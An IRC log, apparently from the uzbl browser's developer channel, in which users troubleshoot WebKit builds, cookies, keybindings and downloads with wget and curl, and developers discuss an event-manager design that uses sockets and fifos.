18:00 < rob|> so, time to launch the editor ;)
18:01 < rob|> pull request is out
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18:15 < Dieterbe_> did anyone here tried the 'file://' , scroll command or middle mouse paste patches?
18:15 < Dieterbe_> and if so, do you think they are good or bad
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19:25 < paroxyzm> Hi! Does anyone here use surfraw with uzbl?
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20:28 < kTT> is uzbl_tabbed working with experimental branch?
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20:37 < Dieterbe_> no
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21:25 < rob|> haha, german google shows an ad for logopedia/speech therapy soft when searching for uzbl ;)
21:26 < rob|> so, lolcats clearly need some speech therapy :P
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03:00 < kevix1> I compiled uzbl yesterday and used the included scripts. the webpage is expanding to the full length, it cant be reduced and no keybindings like arrow keys or jkl are working. any idea if this is being worked upon or is this a known issue?
03:01 < kevix1> using: ubuntu jackalope
03:03 < mason-l> kevix1, This is a bug with your current webkit version.
03:03 < mason-l> Install a different webkit version and re-compile.
03:03 < kevix1> ah.
03:04 < kevix1> I found a repo for a newer version of webkit as a PPA.
03:04 < kevix1> from some instructions about issues with jackalope
03:05 < kevix1> ii  libwebkit-dev                                                               1.1.12-1~jjwkt2                                            Web content engine library for Gtk+ - Development fi
03:09 < kevix1> is version 1.1.12 able to fix this issue?
03:10 < mason-l> kevix1, Afaik the bug is in only one webkit version so any other should be fine.
03:10 < kevix1> which version?
03:11 < mason-l> ... Anything other that what you've got installed right now.,
03:11 < kevix1> oh.
03:11 < mason-l> Above 1.1.10 that is.
03:11 < kevix1> so, not 1.1.12 but higher than 1.1.10. hmm.
03:14 < mason-l> Above and or equal to version 1.1.10
03:14 < mason-l> I use 1.1.10
03:15 < kevix1> will see if that is possible for me until I find an upgrade
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09:08 < rob|> morning.
09:10 < Dieterbe_> heya
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10:59 < holizz> Today I learnt that you can edit CSS with the WebKit inspector
11:00 < jelly12gen> LULZ
11:00 < jelly12gen> ow was that
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16:16 < noisetonepause> anyone here use cookie_daemon.py? i can't get it to work. it doesn't seem to do anything.
16:16 < noisetonepause> i'm on ubuntu karmic.
16:18 < Dieterbe_> pretty much everyone here uses it i think
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16:19 < zash_> how does cookie handling work atm?
16:20 < noisetonepause> Dieterbe_: ok
16:20 < noisetonepause> what's supposed to happen when I run it?
16:20 < noisetonepause> it should start a process, right?
16:22 < Dieterbe_> yep
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16:29 < noisetonepause> i just does nothing here.
16:29 < noisetonepause> $ python cookie_daemon.py -n
16:29 < noisetonepause> $
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16:30 < Dieterbe_> what does `ps aux | grep cookie_daemon` say
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16:51 < noisetonepause> ok, so cookies are actually working
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18:06 < mason-l> <noisetonepause> $ python cookie_daemon.py -n
18:06 < mason-l> noisetonepause, If you want to see fancy debugging output run: python cookie_daemon.py -nv restart
18:07 < mason-l> {start|stop|restart|reload}
18:09 < noisetonepause> mason-l: it appears to be working now
18:09 < noisetonepause> facebook's still not working, though
18:10 < mason-l> Yeah I was just responding to "<noisetonepause> i just does nothing here."
18:10 < noisetonepause> mason-l: thanks, though
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19:06 < rob|> evening.
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19:16 < Dieterbe_> hideliho
19:17  * Dieterbe_ prepares for some uzbl'ing tonight
19:20 < mason-l> Goodie
19:24 < Dieterbe_> hmm.. there is no way to merge in rob|'s splitup code without the `set scripts_dir    = $XDG_DATA_HOME/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts` stuff :/
19:27 < Dieterbe_> and where did `@bind    o _       = uri %s` go to? mason-l ?
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19:27 < mason-l> Dieterbe_, Just under the bind section
19:28 < mason-l> Dieterbe_, I changed the 'o _' binding to the prompt binding.
19:28 < Dieterbe_> aha o ki see
19:29 < mason-l> Dieterbe_, And you still haven't been convinced by rob| and my self about the $PATH like script finding?
19:30 < Dieterbe_> no.  i can understand that a user would set for example my_scriptdir and official_scriptdir or something like that
19:30 < Dieterbe_> to limit the typing work or whatever.  but the path-type expansions seems overkill and YAGNI 
19:32 < mason-l> Dieterbe_, For something thats supposedly YAGNI I sure am using it a lot myself...
19:32 < Dieterbe_> why? show me your config so i can see why you need it
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19:36 < Dieterbe_> mason-l: show me your config
19:37 < mason-l> No need, I use most of the example config in my personal uzbl config and I'm using the path expansion exactly how its used in the example config. When you ask 'so i can see why you need it' I'm not sure you really understand why we added that feature in the first place.
19:38 < bct> seems to me that a PATHlike thing only has advantages when you have a lot of directories or you're regularly moving things between them
19:40 < locks> ZING
19:40 < mason-l> I only have 2 scripts in my $XDG_DATA_HOME/uzbl/scripts but I don't need to update my config when I delete scripts from or add scripts to the scripts folder (the example scripts that is) because I've told uzbl to always search for the script in my xdg script folder before falling back on the example scripts folder in /usr/local/share/uzbl...
19:41 < bct> mmm, using it as a late-binding thing is interesting
19:42 < mason-l> Dieterbe_, Theres no magic to it and the ability wasn't difficult to implement and its very convenient.
19:42 < Dieterbe_> so, you truly believe you will often either 1) switch from an official script to a custom one (which may or may not be based on the official one) or 2) switch _to_ an official script, and no longer you use your own script?
19:43 < Dieterbe_> i think that happens rarely, and in those cases it's only a little trouble to update the location in the config
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19:45 < Dieterbe_> but.. nonetheless what i just said, i have to admit it's only a little bit of code
19:46 < Dieterbe_> putting those 2 points together you can conclude i have no strong opinion in either direction (i think i'll use it myself too), so ok
19:47 < Dieterbe_> it's coming in
19:47 < Dieterbe_> this also fits well with my "$HOME in vcs" approach, i don't like to commit little stupid changes to configs
19:49 < mason-l> I'm relieved to hear you say that. I always find it difficult arguing subjective points like these because more often than not another mans junk is another mans treasure (it kinda fits..)
19:49 < mason-l> The main point being that I thought it was a small practical change.
19:49 < Dieterbe_> hey mason-l what's up with this http://github.com/mason-larobina/uzbl/commit/5ac4716e4775609adf4af5ef5408e662a8f1692f
19:50 < mason-l> But some people clearly will not end up using it and nothings forcing people using it.
19:50 < Dieterbe_> uzbl-browser is/should be posix sh
19:50 < locks> wow, people are speaking about man junk here
19:51 < mason-l> Dieterbe_, I found that using single []'s was causing my uzbl-browser to fail and not shut down the cookie daemon correctly.
19:51 < mason-l> I'll change it back and tell you the error message.
19:51 < Dieterbe_> crap. we need to find a posix-compliant way to check for sockets
19:51 < Dieterbe_> okay but don't commit it
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19:52 < mason-l> I mean; I'll change it back purely to give you an error message, I'm not going to commit anything :)
19:53 < Dieterbe_> yeah i know. just making sure
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20:08 < Cheeseum> is there any way to "intercept" the file upload call (input type=file) from webkit or something then have uzbl spawn a script to handle it?
20:09 < Dieterbe_> mason-l: you there?
20:09 < Dieterbe_> mason-l: can you try if `test -S <foo>` works?
20:09 < mason-l> Dieterbe_, Yeah but I've got changes in my tree preventing me from trying it out right now.
20:10 < Dieterbe_> ok i'll just add a note to it.
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20:16 < Dieterbe_> rob|: as you can guess, the diff between mason's commits you pulled from, and your commits after the splitups are huge.  can you just tell me that in those last 6 commits you only did splitups, makefile changes and some comments? no other changes to the code?
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21:04 < rob|> Dieterbe_: yeah, that's right
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21:04 < github> uzbl: Robert Manea experimental SHA1-3e6b009
21:04 < github> set default socket encoding
21:04 < github> http://bit.ly/ME3bK
21:04 < github> uzbl: Robert Manea experimental SHA1-93bcfb0
21:04 < github> Merge branch 'experimental' of git://github.com/mason-larobina/uzbl into experimental
21:04 < github> http://bit.ly/DQuIk
21:04 < github> uzbl: Robert Manea experimental SHA1-85bd94a
21:04 < github> split source into multiple files
21:04 < github> http://bit.ly/OPsO4
21:04 < github> uzbl: Robert Manea experimental SHA1-a120934
21:04 < github> Source splitting
21:04 < github> http://bit.ly/1QLM4T
21:04 < github> uzbl: Robert Manea experimental SHA1-65f4f2c
21:04 < github> comments
21:04 < github> http://bit.ly/3OEH8L
21:04 < github> uzbl: Robert Manea experimental SHA1-e63aff7
21:04 < github> Makefile additions
21:04 < github> http://bit.ly/wzkER
21:04 < github> uzbl: Robert Manea experimental SHA1-3d37212
21:04 < github> move webinspector code to a separate file
21:04 < github> http://bit.ly/2TVbPD
21:04 < github> uzbl: Robert Manea experimental SHA1-0af3f8d
21:04 < github> strip uzbl-core binary by default
21:04 < github> http://bit.ly/janJ2
21:04 < github> uzbl: Dieter Plaetinck experimental SHA1-41449a2
21:04 < github> Merge commit '0af3f8df7dae115317ba6967a9df798a41c1c069' into experimental
21:04 < github> http://bit.ly/18DGIf
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21:05 < rob|> heh, perfect timing ;)
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21:06 < Dieterbe_> you were one minute too late in fact
21:07 < rob|> oh, well..
21:07 < rob|> so, now that we have this done what is the consensus regarding multiple instances and events?
21:10 < rob|> my proposal is to eventually write some code to selectively deliver events over our interfaces and use one, common to all instances, fifo to send INSTANCE_START/EXIT events
21:10 < rob|> that way the EM can easily keep track of all running instances and bind to their sockets
21:11 < Dieterbe_> what was the problem again? using 1 EM for n uzbl-core's and configuring each uzbl to talk to the EM socket, is already an agreed approach right
21:12 < rob|> hmm? every uzbl has its own socket
21:13 < Dieterbe_> i'm talking about the socketfile of the EM
21:13 < rob|> the EM has no socket file
21:13 < rob|> but opens the one of a particular uzbl instance
21:14 < Dieterbe_> hmm? i was really convinced it had
21:14 < rob|> in order to be able to do so it must track how many instances are (still) running and bind to the respective sockets
21:14 < rob|> dynamically, that is
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21:14 < rob|> no, why would have one?
21:15 < rob|> +it
21:15 < Dieterbe_> well, in the early days, when we did 'uzbl | event_manager', and you added the socket stuff, i thought the EM got its socket and uzbl would talk to it
21:16 < rob|> no, it's the other way around the EM talks to the default uzbl socket
21:16 < rob|> i.e. recieves and sends events/commands over it
21:17 < Dieterbe_> weird. i feel like i'm in a parrallel dimension now. i was so convinced it worked like that
21:17 < rob|> hehe
21:19 < Dieterbe_> okay, so 1 EM that gets events from and sends commands to n uzbl's, through each of their sockets
21:19 < Dieterbe_> now, what's the problem?
21:20 < rob|> well, how would the EM know a new uzbl instance has been started and the name of its socket file?
21:20 < Dieterbe_> aha
21:21 < rob|> that means we need _one common_ file/fifo/socket/whatever that is used to announce life or dead of uzbl instances
21:21 < Dieterbe_> yes
21:22 < Dieterbe_> so we just give the EM it's own socket (hey, deja vu)
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21:23 < rob|> sure, but this means we need a means inside uzbl core to create this extra socket
21:23 < rob|> which would pretty much make the default sockets questionable
21:23 < Dieterbe_> no, EM creates it. we configure uzbl to talk to it
21:23 < Hideo> does anyone know why uzbl gives me garbage when I try using it with the wayback machine?  for example: http://web.archive.org/web/*/http://news.google.com
21:24 < Dieterbe_> Hideo: that site sends gzipped content when it shouldn't
21:24 < Dieterbe_> (known problem)
21:24 < Hideo> ah
21:24 < rob|> Dieterbe_: well, this means modifying the sockt code and unliking it from the current instance name == socket name code
21:25 < rob|> plus some optional vars to explicitly set the socket name
21:25 < Hideo> Dieterbe_: any known workaround?  like a proxy or something?
21:26 < rob|> Dieterbe_: this also means extending the simple command protocol to be "addressable"
21:26 < Dieterbe_> rob|: no no we keep the uzbl-core sockets like they are. i'm thinking of configuring it to talk to the EM like we do with the cookie daemon (talk_to_socket <path to EM socket>)
21:27 < rob|> but it's pretty stupid, forgive me, to use a _socket_ for this one way messaging
21:28 < rob|> using a common fifo would be absolutley enough and we wouldn't need to modify almost anything
21:30 < Dieterbe_> but then 1) we'd need a talk_to_fifo, 2) you and mason-l were talking once about how fifo's have more troubles and sockets are more 'stable'
21:30 < Dieterbe_> so i don't mind much about using only 1 direction of a socket
21:31 < rob|> no, we wouldn't need that and if the socket is only used to deliver 2 messages/lines for the lifetime of an instance it would certainly have no stability issues
21:33 < rob|> so, to be more concrete - every uzbl will be launched like so: uzbl | sed -ne '/INSTANCE/p' > common_fifo
21:33 < Dieterbe_> sounds good to me
21:34 < rob|> the EM listens on common_fifo, grabs the filtered events and opens a communication channel to the particular socket files
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21:34 < Dieterbe_> yep. sounds good to me. just one thing i want to ask
21:34 < Dieterbe_> 21:10:00 < rob|> my proposal is to eventually write some code to selectively deliver events over our interfaces and use one, common to all instances, fifo to send INSTANCE_START/EXIT events
21:34 < Dieterbe_> what do you mean with "selectively deliver events over our interfaces" ? which interfaces? why do we need that?
21:35 < rob|> because we do not want to pollute common_fifo with not related events
21:35 < rob|> but using sed as the filter and not building this into uzbl seems to be good enough
21:36 < Dieterbe_> yep
21:36 < rob|> right, so all this would be a part of uzbl-browser
21:37 < rob|> and the event manager would need to be extended to listen on common_fifo
21:37 < rob|> oh and the start/exit events need to carry the names of the socket files, that's trivial
21:38 < rob|> mason-l: what do you think about this?
21:39 < Dieterbe_> i guess he's gone to bed. it must be pretty late in australia now
21:40 < rob|> well, i'm sure he'll read the backlog
21:40 < rob|> oh, 3:40 WST
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22:09 < Dieterbe_> rob|: if in a C function i want to *append* something to the keycmd, can i do that? how?
22:09 < Dieterbe_> or do i have to write a new event?
22:10 < Dieterbe_> or send a lot of dummy keypress events?
22:10 < Dieterbe_> (one per character to append)
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22:18 < MarkusL> hi
22:19 < Dieterbe_> hi
22:19 < MarkusL> i'm looking for a way to give uzbl basic auth credentials to use, so it won't ask for them.
22:20 < MarkusL> is this possible? unfortunately the "standard" way to encode these into the url doesn't work. (https://user:pwd@somewhere/path/)
22:21 < rob|> Dieterbe_: sure, keycmd is just a C string
22:23 < rob|> Dieterbe_: but maybe you want to describe your intention more closly
22:23 < Dieterbe_> hold on. will send a mail
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22:25 < rob|> anyways, the only special thing about keycmd is that it will call update_title whenever it changes value
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22:26 < rob|> on that note, we should change the name of that function to something more sensible
22:27 < rob|> and maybe also the names of the variable callbacks
22:33 < Dieterbe_> rob|: see uzbl-dev email :)
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22:37 < rob|> Dieterbe_: seems to take a while..
22:42 < rob|> well, i don't think we should do this in core at all
22:42 < rob|> but rather abstract button press to our event system
22:42 < rob|> similar to keypress
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22:49 < Dieterbe_> aha. of coruse
22:49 < Dieterbe_> forgot about that. hit the reply button :)
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22:52 < Dieterbe_> time for me to go sleep
22:52 < Dieterbe_> good night all
22:53 < rob|> night
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22:58 < krsna> window move 5
22:59 < krsna> sorry, typo
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02:33 < juantelez> hi all
02:34 < juantelez> i can't make uzbl work with gmail, is there any know issue?
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03:34 < adisbladis> How would i do to set a keybind to C-n when always_insert_mode is set to 1 ?
03:34 < adisbladis> Modkey seem to be ignored or i have just misunderstood
03:48 < adisbladis> I have tried Mod1 also, but its not working there either
03:53 < adisbladis> Ok, just discovered it works perfectly with Mod1 but not with ctrl
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04:52 < juantelez> I solved that problem with gmail
04:53 < juantelez> now I got 3 more to come
04:53 < juantelez> lets go from the easyer to the harder
04:54 < juantelez> 1 _ I don't know what I must press after F to follow a link
04:55 < juantelez> 2 _ I can't download anything, I read that something as I must set the download handler to use the cookie handler, but I don't know how to make that
04:55 < juantelez> 3 _ I can't make xclip work to copy a URL
05:00 < kevix> I used 'fl' then waited for the numbers then pressed the numerals of the liink
05:01 < kevix> 'fl' is the shortcut for 'follow link'
05:02 < juantelez> kevix: i used F, the numbers appears, then I press a number, but then, nothing happens
05:05 < kevix> F is for something called 'toggle hints'
05:05 < juantelez> mmmm
05:05 < juantelez> jeje
05:05 < kevix> I have only used fl
05:05 < juantelez> ok
05:05 < juantelez> let me see
05:06 < kevix> look in /examples/data/uzbl/scripts/hints.js
05:06 < juantelez> great!
05:06 < juantelez> kevix: now, we have issue number 2 solved
05:07 < juantelez> kevix: could we move on with the others?
05:07 < kevix> the config that shows the key binding is in examples/config/uzbl/config
05:08 < kevix> this is only my 2nd day with uzbl and ubuntu jaunty  does not have a good version of the required librarys for a everything to work
05:08 < juantelez> kevix: yes
05:08 < juantelez> kevix: why do you use ubuntu instead of Debian?
05:08 < kevix> heh
05:09 < kevix> when I get a better machine and HD I will have both. at the moment, I have Ubuntu.
05:14 < juantelez> kevix: IMHO you are doing bad
05:14 < juantelez> ;)
05:16 < kevix> well you can buy me a new computer, then I will do better
05:16 < kevix> anyway, uzbl is fun.
05:18 < juantelez> kevix: I mean, I think that your current PC will work better with Debian, but this is off topic ;)
05:19 < kevix> afaikt, both OSes support my hardware.
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05:20 < juantelez> kevix: where do you from?
05:21 < kevix> US
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08:11 < rob|> morning.
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08:38 < rob|> uzbl-core | sed -u -ne '/INSTANCE/p' -ne '/SOCKET/p' -ne '/FIFO/p' > em_fifo
08:38 < rob|> oh
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08:56 < MichaelRaskin> rob|, I'd think it is sed -u -r -n -e '/(INSTANCE|SOCKET|FIFO)/p
09:04 < rob|> -r is a GNU extension, isn't it?
09:05 < rob|> so is '-u' which pretty much sucks as we depend on unbuffered output
09:06 < ruskie> -i is iirc
09:06 < ruskie> no clue about others
09:09 < rob|> well, POSIX sed only support -nef
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09:12 < Dieterbe_> morning bitchiiiiz
09:13 < Dieterbe_> i realised all the mails i sent out yesterday are probably all pointless
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09:13 < Dieterbe_> since the EM stuff
09:18 < rob|> yeah, buttonpress/release should be reported as an event
09:18 < rob|> though there is an issue with this, how should we decide wether to forward buttonpress to the webview or not?
09:19 < rob|> i mean the default actions of being able to click links, etc. _without_ the EM should stay imo
09:19 < Dieterbe_> right. would it hurt to always send to both?
09:20 < rob|> well, it wouldn't hurt but it would be confusing
09:21 < rob|> one more perfect use case for sync events..
09:24 < modnaru> rob|: What's the problem with the sed commands?
09:27 < rob|> no, problem though there is no portable way of making sed unbuffered
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09:38 < MichaelRaskin> What you have written actually seems to emulate grep
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09:41 < rob|> indeed
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09:46 < rob|> anyways, grep has the same problem
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11:21 < rob|> mason-l: you around?
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18:20 < mason-l> rob|, Yeah.
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18:59 < rob|> mason-l: ah, hey.
19:00 < mason-l> Hey rob|
19:00 < rob|> mason-l: did you read the backlog
19:00 < rob|> re. the fifo thing?
19:00 < mason-l> No?
19:00 < mason-l> rob|, What are you trying to do using the fifo's?
19:01 < rob|> ok, so let me recapitulate
19:01 < rob|> the intention is to be able to use one EM for multiple uzbls
19:01 < mason-l> rob|, Already working on it
19:02 < rob|> the idea is this: all uzbl send INSTANCE_START/EXIT and SOCKET/FIFO_SET events to one common fifo
19:02 < rob|> on which the EM listens
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19:02 < rob|> it catches the events and dynamiclly binds to the corresponding socket
19:03 < rob|> oh, what approach are following for it?
19:03 < mason-l> Whats wrong with a: 'uzbl-core --event-daemon=$XDG_CACHE_HOME/uzbl/event_daemon'
19:04 < mason-l> It does leave a useless uzbl socket lying around though.
19:04 < mason-l> I'
19:04 < mason-l> I'm off for the next few days so lets get some work done on it.
19:05 < mason-l> But I've just got home from work and I'm hitting the sack right now.
19:05 < rob|> ok, right. well i think the common fifo approach is more versatile and also requires no changes on the core side
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19:06 < rob|> alright, just get back to me when you're in the mood for this
19:07 < mason-l> Well I'll talk more with you tomorrow but I'm in favour of having all uzbl's connect themselves to the daemon socket (exactly like the cookie_daemon socket functions).
19:07 < rob|> i really dislike the way the cookie daemon works to be honest
19:07 < mason-l> Instead of having the event_manager chase up uzbl instancess sockets.
19:07 < mason-l> rob|, How so?
19:08 < mason-l> rob|, You would prefer persistent sockets? (so would I, and to use SOCK_STREAM)
19:08 < rob|> well, the EM shouldn't be a _requirement_ but an option
19:09 < mason-l> "<rob|> well, the EM shouldn't be a _requirement_ but an option" <-- What do you mean and why do you mention that?
19:09 < rob|> because i'd try to avoid specific code for the EM in core
19:10 < rob|> the fifo approach is truly unix like and the EM can still catch up everything and react accordingly
19:11 < rob|> so we would start every instance like: uzbl-core | -un -e '/INSTANCE/p' -e '/SOCKET/p' -e '/FIFO/p' > em_fifo
19:11 < rob|> sry:
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19:11 < rob|> so we would start every instance like: uzbl-core | sed -un -e '/INSTANCE/p' -e '/SOCKET/p' -e '/FIFO/p' > em_fifo
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19:14 < rob|> sry, hdd error
19:14 < mason-l> No problem, but I'll catch up with you tomorrow.
19:14 < rob|> what was the last line that got through?
19:15 < rob|> ok, sure no hurry
19:15 < mason-l> <rob|> so we would start every instance like: uzbl-core | sed -un -e '/INSTANCE/p' -e '/SOCKET/p' -e '/FIFO/p' > em_fifo
19:15 < mason-l> ^ Last line
19:15 < mason-l> Catcha
19:15 < rob|> ok, night mason. cu
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20:14 < Dieterbe_> evening
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21:16 < github> uzbl: Olivier Schwander experimental SHA1-32c56d0
21:16 < github> auto append file:// if the command line argument is an existing file
21:16 < github> http://bit.ly/qPxqZ
21:16 < github> uzbl: Olivier Schwander experimental SHA1-7414102
21:16 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into file
21:16 < github> http://bit.ly/112r1Z
21:16 < github> uzbl: Olivier Schwander experimental SHA1-f1dd803
21:16 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into file
21:16 < github> http://bit.ly/rqrBt
21:16 < github> uzbl: Olivier Schwander experimental SHA1-e29a17a
21:16 < github> Merge branch 'experimental' into file
21:16 < github> http://bit.ly/10e14g
21:16 < github> uzbl: Olivier Schwander experimental SHA1-05393cc
21:16 < github> Add xmonad to the list of nice windows managers
21:16 < github> http://bit.ly/sSHMx
21:16 < github> uzbl: Olivier Schwander experimental SHA1-c15a2b4
21:17 < github> A few words in README for the auto-appending of file://
21:17 < github> http://bit.ly/IHZlc
21:17 < github> uzbl: Dieter Plaetinck experimental SHA1-1769b55
21:17 < github> clean up after merge from Olivier S
21:17 < github> http://bit.ly/jA3Jn
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05:56 < comhack> I have read all the default keybindings for page navigation and other shortcuts from the wiki and tuxtraining article http://tinyurl.com/ls9544 but I cannot figure out for the life of me how actual in-page navigation is done. I understand page navigation/zooming/searching/nookmarks/ I tried to use tab key to move around the page with no avail. Any links explaining how this is done? Also, I run Archlinux if
05:56 < comhack>  it matters. Thanks
05:56 < comhack> and Xmonad/dmenu/xmobar
05:57 < marh> comhack: have you pressed i first? ;)
05:57 < comhack> yup
05:58 < comhack> I know how to type stuff in but I mean actual page navigation like clikcing a link and such
05:58 < marh> hm.. i can use tab to get to the next link and return to 'click' it
05:59 < comhack> hmmm
05:59 < comhack> mine doesnt
05:59 < comhack> I copied the default from /usr/share/uzbl/examples/
05:59 < comhack> that was the first thing I tried
06:00 < comhack> the tab-key
06:00 < marh> yes, i did the same thing.. i'm quite new to uzbl and not modified much, dont know what should make the difference...
06:00 < comhack> version?
06:00 < comhack> I am using uzbl-git 20090826 from AUR in Archlinux
06:01 < comhack> marh: thanks though
06:01 < marh> commit 01ce2a70bddb831c77a5f6eabd35a85b0549095f, can't seem to figure out what date that was..
06:01 < comhack> ahh thanks anyway
06:01 < marh> ah, Tue Sep 8 03:30:37 2009 +0300
06:02 < comhack> this is annoying since I was excited to try this since I just moved to Xomad
06:02 < comhack> xmonad
06:05 < comhack> ahh I can use the "f" key and it numbers all links
06:05 < comhack> well that doesnt help got to figure out how to select a link
06:06 < comhack> maybe I should try to write my own config
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06:28 < marh> i can't seem to figure out how to build webkit (a version that doesn't have the resize problem).. if i run the build-webkit script by itself, it says "unsupported platform..", when running with --gtk it has trouble with autotools and --qt runs for a while and then throws lots of errors
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06:29 < marh> could someone point me to a useful text about how to build webkit on linux debian 64bit?
06:37 < kevix|dinner> is there not a deb?
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06:37 < marh> kevix|dinner: only for an older version i think.. i'm not sure how to check the version though
06:38 < kevix|dinner> although, you need the -dev package to build uzbl, not the prebuild library.
06:38 < marh> yes, i have built uzbl successfully
06:39 < marh> but i'm having this bug which kind of renders it unusable http://www.uzbl.org/bugs/index.php?do=details&task_id=85&project=1
06:39 < kevix|dinner> huh, so why ask about webkit here, if you already have it built?
06:39 < marh> because the solution to the bug is to install a newer webkit version
06:40 < keis> poke the webkit maintainer in debian for a new version
06:40 < kevix|dinner> well I have ubzl built on ubuntu with a version of webkit that has problems, too.
06:43 < MichaelRaskin> Building webkit seems simple; but a catch: you need fresh glib and libsoup
06:43 < MichaelRaskin> As in "GTK 2.18, Gnome 2.8" versions
06:44 < MichaelRaskin> Of course, you also need tons of -dev packages
06:44 < MichaelRaskin> (I cannot give specifics: I am not on Debian)
06:45 < marh> MichaelRaskin: ah, i'll give that a try, thanks
06:49 < MichaelRaskin> Let us know how it goes after you finish the long long build..
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06:58 < marh> aah, i can run autogen.sh which tells me what i'm mising :)
07:00 < marh> they could mention that on the "building webkit" page
07:00 < kevix|dinner> apt-file is helpful to determine what package you might need.
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07:18 < marh> great! with the new webkit version resizing is fine :)
07:18 < marh> my only problem was that i missed libraries and the build-webkit script didn't tell me about it
07:25 < kevix> oh. so what packages did you need?
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07:27 < marh> stuff like gstreamer, xml stuff and a few things i never heard of
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07:28 < kevix> I guess I will wait for some kind  soul to make a newer version, but I am upgrading to Karmic in a few months, so I can wait.
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09:24 < rob|> morning.
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09:54 < Dieterbe_> good day gentlemen
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09:59 < lich> o/
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10:05 < lich> I get quite a few leftover fifo's when I kill uzbl prematurely, any pointers to make this little problem go away? (besides removing them manually)
10:05 < rob|> use sigterm/int to kill it
10:06 < rob|> those are captured and uzbl cleans up after itself then
10:07 < lich> yeah but by "ending prematurely" I mean ratpoison's kill command, I can't make the custom for uzbl alone, unless I set a separate binding for killing uzbl
10:07 < lich> meh, I'll try not to kill it that often :)
10:07 < lich> that's bad practice anyway
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10:11 < rob|> right, iirc you can't catch xkill as there are no events generated for it
10:11 < rob|> ratpoison's kill thing is most certainly just a wrapper around xkill
10:12 < lich> I do believe that it's a written cmd, not somethign that does xkill
10:13 < lich> ratpoison is more advanced than it seems
10:13 < scj> you could write a launcher script that cleans up afterwards
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10:16 < rob|> lich: well, XKillClient() that is. this is also exactly what xkill uses internally
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10:17 < lich> rob|: well then it uses the same Xlib call, it's not a wrapper :)
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10:17 < rob|> right, my bad
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10:17 < lich> XKilI use teh same one in my wm, it;s the fastest way to do it, IF you free your shit before you issue it
10:17 < lich> :%s/XKilI/I
10:18 < rob|> anyways, that's not a graceful way of quitting an app, though
10:18 < lokli> why do every time i try to download something with uzbl i only find download.php in my destination dir?
10:19 < lich> rob|: not at all, but I find it faster sometimes
10:19 < lich> I have to hide teh porn from the wife, and using ratpoison doesn;t do it for me anyway
10:19 < lich> </joke>
10:19 < rob|> well, then you have to cope with its downsides..
10:20 < scj> lokli: because the example download script is fairly rudimentary
10:20 < lich> lokli: uzbl downloads what it receives from the site atm. it;s the site's fault, that's what it feeds to you
10:20 < lich> tried other sites?
10:20 < lich> lokli: try my download script
10:20 < lich> is a bit more userfriendly
10:20 < lokli> well, i think other sites will give me the right link
10:20 < lokli> but
10:21 < scj> lich: does it use Content-Disposition to name the file?
10:21 < lokli> what should i use to download links wich are download.php?
10:21 < scj> torrents, I'm guessing
10:21 < lich> also I'm working on a way for uzbl to let you choose the filename now :D. Easy bit to do, when it spawns the download terminal it first asks you for a filename. if you let it empty it downloads with original file.
10:21 < lich> another key to press, but it has it's advantages
10:22 < lokli> lich: it would be really nice
10:22 < lich> lokli: I'd say you use wget for that, or use my script which uses it anyway.
10:22 < scj> lich: use content-disposition instead
10:22 < scj> if available
10:22 < lich> scj: I have no idea what that is. me and http are not exactly good friends
10:23 < scj> lich: it's an entry in the response header that may contain the name of the file
10:24 < lokli> lich: download.sh (default script) is also using wget as dl-manager, but it doesn't download the right thing )
10:24 < lich> oh I see
10:24 < lich> I have to research this
10:24 < lich> lokli: then try my script with curl (it's commented out in it)
10:24 < lich> maybe curl handles it better, I dunno tbh
10:24 < scj> most of the time you are downloading 'download.php?id=lkajdslasjdflj', the header will content-disposition field will contain the files proper name
10:25 < lich> actually first try it out manually
10:25 < lokli> lich: could you give me a link to your script? cause i don't see any curl in default .sh
10:25 < rob|> i'll write this on my todo and see wether we can use libsoup to get to that header and send it along with DOWNLOAD_REQUEST events
10:25 < lich> that's not a bad thign to implement
10:26 < lokli> scj: this is exactly what i get
10:26 < lich> maybe it fixes teh gmail problems I keep hearing about?
10:26 < lokli> so i should just open file and read link?
10:26 < lich> lokli: no
10:26 < lich> copy the url and try downloading from a terminal, not from uzbl
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10:26 < lokli> ohh, i see )
10:26 < lich> when he figure out how to do it, we can adjust the download script apropiatly
10:27 < modnaru> wget takes --content-disposition
10:27 < lich> try with curl
10:27 < lich> curl --progress-bar -O <url>
10:27 < lich> modnaru: thanks for that, I'll update my script too
10:27 < lich> does it effect normal downloads?
10:27 < lich> with direct link to files?
10:29 < lokli> lich: both curl and wget download download.php. i'll try another site for some testing
10:32 < lich> how do you use wget?
10:33 < lich> try this: wget --user-agent=Firefox --content-disposition <url>
10:35 < lokli> well it still download.php. Could it be that site check cookies to give me access to download, but wget doesn't know that?
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10:35 < lokli> sorry, i don't actually know any of this stuff =)
10:36 < lich> not sure, but it's definatly something to do with teh way teh site sends you the file link
10:37 < lich> best way to test your download script is to go to google and save the logo image
10:37 < lich> if that comes in ok, then it's definatly the site
10:37 < lokli> but firefox and opera and arora download content pretty well
10:38 < lich> yes, because those are way more advanced than uzbl, and will always be like that
10:38 < lich> what site is that btw? just so we can test
10:40 < lokli> torrents.vtomske.ru
10:40 < lokli> but i think it is closed for the world ))
10:40 < lokli> a local resource
10:40 < lich> could b closed yes
10:41 < rob|> lokli: can you paste the not-working download link so i can test
10:41 < lich> yay my download script now asks for new filename (just in case you wanna save stuff from omploader and the likes, or simply rename the file from porn.jpg to educational_material.jpg :P )
10:42 < lokli> google logo saves just fine
10:42 < lich> yeah, it's the site
10:42 < lokli> here is a link http://torrents.vtomske.ru/forum/download.php?id=265094
10:43 < rob|> alright
10:45 < lokli> i like uzbl's unix-way far more, than boring opera && firefox. they are kind of boring and ugly big
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10:46 < lich> only thing that makes me uses it is the lightness, has nothign to do with teh philosophy
10:46 < lich> FF is getting slower and slower for me
10:46 < lich> I should stop talking like a l33t wannabe
10:47 < lokli> i forgot to tell you, i use freebsd, could it be an issue? )
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10:59 < thunktone> lokli: I'm no expert on this stuff but have you tried "wget --load-cookies .local/share/uzbl/cookies.txt $url" ?
10:59 < lokli> not yet, will do right now
11:00 < lokli> ohhhh
11:00 < lokli> myyy
11:00 < lokli> success =)
11:00 < lokli> here is the whole string
11:01 < lokli> wget --user-agent=Firefox --content-disposition --load-cookies .config/uzbl/cookies.txt http://torrents.vtomske.ru/forum/do...
11:01 < lich> lokli: thanks for the debug, I'ma add that to my script now, I will have no need for filename input now :)
11:01 < lokli> thunktone: THANK YOU sooo much ^__^
11:02 < thunktone> welcome :)
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11:02 < lich> $XDG_CONFIG_HOME/uzbl/cookies.txt right?
